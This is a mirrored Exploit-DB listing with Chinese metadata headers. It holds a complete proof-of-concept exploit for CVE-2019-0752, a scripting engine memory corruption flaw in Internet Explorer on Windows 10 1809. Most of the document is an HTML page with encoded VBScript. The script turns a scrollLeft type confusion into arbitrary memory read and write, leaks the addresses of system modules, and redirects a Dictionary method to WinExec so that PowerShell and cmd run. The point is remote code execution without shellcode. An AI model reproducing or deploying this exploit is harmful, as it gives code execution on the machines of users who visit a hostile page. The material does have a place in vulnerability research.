Microsoft Internet Explorer Windows 10 1809 17763.316 – Scripting Engine Memory Corruption

  • 作者: Simon Zuckerbraun
    日期: 2019-05-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46928/
  • # Exploit Title: Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption
    # Date: 03/2019
    # Author: Simon Zuckerbraun
    # Vendor: https://www.microsoft.com/
    # Version: February 2019 patch level
    # Tested on: Windows 10 1809 17763.316
    # CVE: CVE-2019-0752
    
    <!-- Full exploit of ZDI-19-359/ZDI-CAN-7757/CVE-2019-0752-->
    <!-- Target: Internet Explorer, Windows 10 1809 17763.316 (Feb. 2019 patch level) -->
    <!-- Vulnerability and original exploit technique by Simon Zuckerbraun (@HexKitchen), Mar. 2019 -->
    
    <!-- Tgroupcrew@gmail.com -->
    
    <!-- Demonstrates taking an arbitrary write primitive with no info leak, and using it to get-->
    <!-- all the way to RCE using no shellcode. -->
    
    <!-- Note use of CVE-2019-0768 to get VBScript to run on IE/Win10.-->
    <!--(h/t: James Forshaw, Google Project Zero) -->
    
    <html>
    <meta http-equiv="x-ua-compatible" content="IE=8">
    <meta http-equiv="Expires" content="-1">
    <body>
    	<div id="container1" style="overflow:scroll; width: 10px">
    		<div id="content1" style="width:5000000px">
    			Content
    		</div>
    	</div>
    <script language="VBScript.Encode">
    Dim ar1(&h3000000)
    Dim ar2(1000)
    Dim gremlin
    addressOfGremlin = &h28281000
    Class MyClass
    	Private mValue
    	Public Property Let Value(v)
    		mValue = v
    	End Property
    	Public Default Property Get P
    		P = mValue				' Where to write
    	End Property
    End Class
    Sub TriggerWrite(where, val)
    	Dim v1
    	Set v1 = document.getElementById("container1")
    	v1.scrollLeft = val		' Write this value (Maximum: 0x001767dd)
    	Dim c
    	Set c = new MyClass
    	c.Value = where
    	Set v1.scrollLeft = c
    End Sub
    ' Our vulnerability does not immediately give us an unrestricted
    ' write (though we could manufacture one). For our purposes, the
    ' following is sufficient. It writes an arbitrary DWORD to an
    ' arbitrary location, and sets the subsequent 3 bytes to zero.
    Sub WriteInt32With3ByteZeroTrailer(addr, val)
    	TriggerWrite addr, (val) AND &hff
    	TriggerWrite addr + 1, (val\&h100) AND &hff
    	TriggerWrite addr + 2, (val\&h10000) AND &hff
    	TriggerWrite addr + 3, (val\&h1000000) AND &hff
    End Sub
    Sub WriteAsciiStringWith4ByteZeroTrailer(addr, str)
    	For i = 0 To Len(str) - 1
    		TriggerWrite addr + i, Asc(Mid(str, i + 1, 1))
    	Next
    End Sub
    Function ReadInt32(addr)
    	WriteInt32With3ByteZeroTrailer addressOfGremlin + &h8, addr
    	ReadInt32 = ar1(gremlin)
    End Function
    Function LeakAddressOfObject(obj)
    	Set ar1(gremlin + 1) = obj
    	LeakAddressOfObject = ReadInt32(addressOfGremlin + &h18)
    End Function
    Sub Exploit()
    	' Corrupt vt of one array element (the "gremlin")
    	TriggerWrite addressOfGremlin, &h4003	' VT_BYREF | VT_I4
    	For i = ((addressOfGremlin - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100
    		If Not IsEmpty(ar1(i)) Then
    			gremlin = i
    			Exit For
    		End If
    	Next
    	
    	If IsEmpty(gremlin) Then
    		MsgBox "Could not find gremlin"
    		Exit Sub
    	End If
    	
    	For i = 0 To UBound(ar2)
    		Set ar2(i) = CreateObject("Scripting.Dictionary")
    	Next
    	
    	Set dict = ar2(UBound(ar2) / 2)
    	addressOfDict = LeakAddressOfObject(dict)
    	vtableOfDict = ReadInt32(addressOfDict)
    	scrrun = vtableOfDict - &h11fc
    	kernel32 = ReadInt32(scrrun + &h1f1a4) - &h23c90
    	winExec = kernel32 + &h5d380
    	
    	dict.Exists "dummy"		' Make a dispatch call, just to populate pld
    	' Relocate pld to ensure its address doesn't contain a null byte
    	pld = ReadInt32(addressOfDict + &h3c)
    	fakePld = &h28281020
    	For i = 0 To 3 - 1
    		WriteInt32With3ByteZeroTrailer fakePld + 4 * i, ReadInt32(pld + 4 * i)
    	Next
    	
    	fakeVtable = &h28282828		' ASCII "(((("
    	For i = 0 To 21
    		If i = 12 Then		' Dictionary.Exists
    			fptr = winExec
    		Else
    			fptr = ReadInt32(vtableOfDict + 4 * i)
    		End If
    		WriteInt32With3ByteZeroTrailer (fakeVtable + 4 * i), fptr
    	Next
    	
    	WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA"
    	WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld
    	WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd `""""""/t:4f /k whoami /user`"""""""""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"""
    	
    	On Error Resume Next
    	dict.Exists "dummy"		' Wheeee!!
    	
    	' A little cleanup to help prevent crashes after the exploit
    	For i = 1 To 3
    		WriteInt32With3ByteZeroTrailer addressOfDict + &h48 * i, vtableOfDict
    		WriteInt32With3ByteZeroTrailer addressOfDict + (&h48 * i) + &h14, 2
    	Next
    	Erase Dict
    	Erase ar2
    End Sub
    Exploit
    </script>
    </body>
    </html>